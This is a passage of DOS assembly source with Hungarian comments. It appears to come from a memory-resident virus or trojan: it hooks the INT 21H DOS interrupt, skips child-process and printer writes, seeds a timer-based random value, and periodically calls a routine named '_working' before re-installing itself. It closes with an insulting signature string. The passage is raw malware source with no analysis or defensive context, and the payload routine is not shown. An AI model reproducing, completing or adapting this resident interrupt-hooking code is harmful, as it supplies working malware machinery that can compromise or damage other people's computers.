  800.         JMP     jmp_dos
  801. L0710:
  802.         CMP     BYTE PTR CS:[00A8H],1   ;Ha Child processben vagyunk
  803.         JNE     L071B                   ;mindent beken kell hagyni...
  804.         JMP     jmp_dos
  805. L071B:  CMP     AH,40H                  ;FN = WRITE, handle=1 (print)
  806.         JNE     L0728                   ;   nem bantja
  807.         CMP     BX,+01H
  808.         JNE     L0728
  809.         JMP     jmp_dos                 ;to dos
  810. L0728:
  811.         MOV     CS:[00A9H],AX
  812.         MOV     CS:[00A4H],SS
  813.         MOV     CS:[00A6H],SP
  814.         MOV     AX,CS
  815.         MOV     SS,AX
  816.         MOV     SP,08F3H
  817.         PUSH    ES
  818.         PUSH    DS
  819.         PUSH    AX
  820.         PUSH    BX
  821.         PUSH    CX
  822.         PUSH    DX
  823.         PUSH    SI
  824.         PUSH    DI
  825.         PUSH    BP
  826.         MOV     AX,CS
  827.         MOV     DS,AX
  828.         MOV     ES,AX
  829.         PUSH    DS
  830.         MOV     DX,DS:[0082H]
  831.         MOV     AX,DS:[0084H]
  832.         MOV     DS,AX
  833.         MOV     AX,2521H                ;Visszaallitja az eredeti
  834.         INT     21H                     ; DOS hivas lehetoseget
  835.         POP     DS                      ;  a rutinon belul
  836.         NOP
  837.         NOP
  838.         NOP
  839.         NOP
  840.         MOV     AH,2CH                  ;Randomize
  841.         INT     21H
  842.         MOV     DS:[0072H],DX
  843.         MOV     AH,2CH
  844.         INT     21H
  845.         MOV     CL,DL
  846.         AND     CL,0FH
  847.         ROL     DS:[0072H],CL
  848.         MOV     AH,2CH
  849.         INT     21H
  850.         XOR     DS:[0072H],DX
  851.         MOV     AH,2CH
  852.         INT     21H
  853.         CMP     CL,DS:[00A3H]
  854.         JZ      L0792
  855.         MOV     DS:[00A3H],CL           ;min
  856.         MOV     DS:[00A2H],DH           ;sec
  857.         JMP     do_it
  858.         NOP
  859. L0792:  MOV     BL,DS:[00A2H]           ;felorankent kozbelep
  860.         ADD     BL,30
  861.         CMP     DH,BL
  862.         JC      _vDOS
  863.         MOV     DS:[00A2H],DH
  864. do_it:  CALL    _working
  865. vDOS:   MOV     DX,06B3H                ;visszaallitja onmagat DOS-nak
  866.         MOV     AX,2521H
  867.         INT     21H
  868.         POP     BP
  869.         POP     DI
  870.         POP     SI
  871.         POP     DX
  872.         POP     CX
  873.         POP     BX
  874.         POP     AX
  875.         POP     DS
  876.         POP     ES
  877.         MOV     AX,WORD PTR CS:[00A4H]
  878.         MOV     SS,AX
  879.         MOV     SP,CS:[00A6H]
  880.         MOV     AX,WORD PTR CS:[00A9H]
  881. jmp_dos
  882.         JMP     DWORD PTR CS:[0082H]            ;Exec DOS fn
  883.  
  884.         db      'The incredible anyad'
  885.  
  886. XPROC   ENDP
  887. XSEG    ENDS
  888.         END
  889.